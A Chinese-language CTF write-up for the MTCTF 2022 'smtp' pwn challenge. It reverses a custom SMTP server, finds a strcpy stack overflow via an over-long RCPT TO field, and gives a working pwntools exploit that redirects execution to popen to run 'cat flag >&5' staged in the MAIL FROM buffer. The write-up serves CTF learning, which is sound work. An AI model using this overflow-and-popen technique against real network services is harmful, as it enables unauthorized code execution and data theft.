<>美团MTCTF 2022 smtp pwn解

这是一道协议题,SMTP是一种提供可靠且有效的电子邮件传输的协议。
下面是笔者对此题的详细逆向

main函数中启用了listerner函数并挂载到了9999端口上,启动pwn文件直接nc 127.0.0.1 9999看一下是否能成功连接上去

server端显示了从127.0.0.1这里的连接并开启了一个session worker,并发送给client端220 SMTP
tsmtp这条信息,跟进listerner函数


创建了一个创建了一个newthread线程,具体的线程实现是session_worker,arg是session_worker的参数,继续跟进session_worker

当server检测到连接成功时,会发送220 SMTP tsmtp给client端,和上面运行的一模一样

这一部分就是等待client发送数据到server

上面说到会发送数据到server,如何发送?parse_request里面给出了发送格式,跟进即可

get_session_command这个函数的名字看起来就像是处理请求格式的,继续跟进

s1是server接收client的数据

检测到HELO会返回0
检测到MAIL FROM会返回1
检测到RCPT TO:会返回2
检测到DATA,会返回3
检测到.\r\n会返回4
检测到QUIT会返回5

ptr其实就是这些返回的数字,对应到下面的switch结构

检测到哪一个就会到哪一个分支中进行处理,现在测试一下看一下分析的是否正确

大概率漏洞都发生在这些处理函数中,一个一个分析吧

首先是HELO的处理,这里会send250 Ok\n,很正常没有什么漏洞发生

第二个是mail from,也会send 250 Ok\n,很正常没什么问题

第三个是rcpt to,成功会send 250 Ok\n,也很正常没什么问题

第四个是data处理,成功会send 354 End data with <CR><LF>.<CR><LF>\n,提示了使用\r\n.\r\n来结束

第5个是data结束后的处理,发现这里有个session_submit函数,跟进

有一个send_worker处理

会将mail from的信息存在入from中,如果send
to的长度大于0xff,会将sendto的数据赋值给s,需要注意的是这个数据我们可控,没有进行大小限制,而s是有大小限制的,所以直接strcpy会造成栈溢出漏洞,成功发现漏洞
我们测试一下看一下能否成功crash
HELLO() mailfrom(b'aaaaa') p1 = b'a' * 0x200 mailto(p1) data() eof()

可以看到server端成功crash,再看一下保护开启情况,只有一个nx
那么如何进行漏洞利用呢?
既然,mail from在bss段上,并且可控,send to也可控,那是不是就可以将shellcode放入bss段上,然后控制send
to打返回地址到bss段上去执行shellcode
直接尝试一下,但是出了一个问题,p1 = b'a' * (0x10c + 4) + b'bbbb',返回地址虽然被覆盖了但是根本跑不到

找到原因了,eax这里的地址是无意义的从而导致了sigsegv,从上面一条指令看到ebp -
0xc,这里很明显就是v3,所以我们需要将v3控制成一个可以成功访问的地址
有很多无影响的地址可以用,这里笔者挑了一个0x8049024,p1 = b'a' * 0x100 + p32(0x8049024) + b'a' *
0xc + b'bbbb'再调试一下看一下是否能成功劫持返回地址

成功劫持,在bss上放入shellcode,跳转执行

笔者到了这一步的时候觉得很无语,直接sigsegv了,在高人的指点下发现了popen函数
popen()可以执行shell命令,并读取此命令的返回值;
#include <stdio.h> int main(int argc, char **argv){ popen("sh", "r"); return 0;
}
笔者写了一个程序测试了一下,发现直接执行sh命令没有用,笔者用了题目给的docker看了一下,发现bin里只有一点东西


接下来就是如何把flag给带出来,因为直接cat的话是没有回显的,笔者原本想着用wget下载一个木马,然后连上去(哈哈),但是感觉太麻烦了,所以问了些师傅有什么东西可以将cat的东西直接输出到屏幕上,>&1,可以把文件的东西给带出来。
#include <stdio.h> int main(int argc, char **argv){ popen("cat flag>&2", "r");
return 0; }
笔者试了>&1, >&2发现的确可以回显,打远程的时候>&5可以回显,exp如下
需要注意的是要多打几次,因为有时候edx是无意义的会造成sigsegv,另外r这里需要\x00来截断,不然popen的二参可能不是单纯的r。做这题头大
from pwn import * context(arch='i386', os='linux', log_level='debug') file_name
= './pwn' li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda
x: print('\x1b[01;38;5;1m' + x + '\x1b[0m') context.terminal = ['tmux','splitw'
,'-h'] debug = 1 if debug: r = remote('127.0.0.1', 12000) else: r = process(
file_name) elf = ELF(file_name) def dbg(): gdb.attach(r) def HELLO(): r.sendline
('HELO') def mailfrom(content): r.sendline(b'MAIL FROM:' + content) def mailto(
content): r.sendline(b'RCPT TO:' + content) def data(): r.sendline(b'DATA') def
eof(): r.sendline(b'.\r\n') popen_plt = elf.plt['popen'] bss_addr = 0x804d140
HELLO() shellcode = b'cat flag >&5' mailfrom(shellcode) read = elf.search(
b'r\x00').__next__() p1 = b'a' * 0x100 + p32(0x8049024) + b'a' * 0xc + p32(
popen_plt) + p32(0xdeadbeef) + p32(bss_addr) + p32(read) mailto(p1) data() eof()
r.interactive()

技术
下载桌面版
GitHub
百度网盘(提取码:draw)
Gitee
云服务器优惠
阿里云优惠券
腾讯云优惠券
华为云优惠券
站点信息
问题反馈
邮箱:[email protected]
QQ群:766591547
关注微信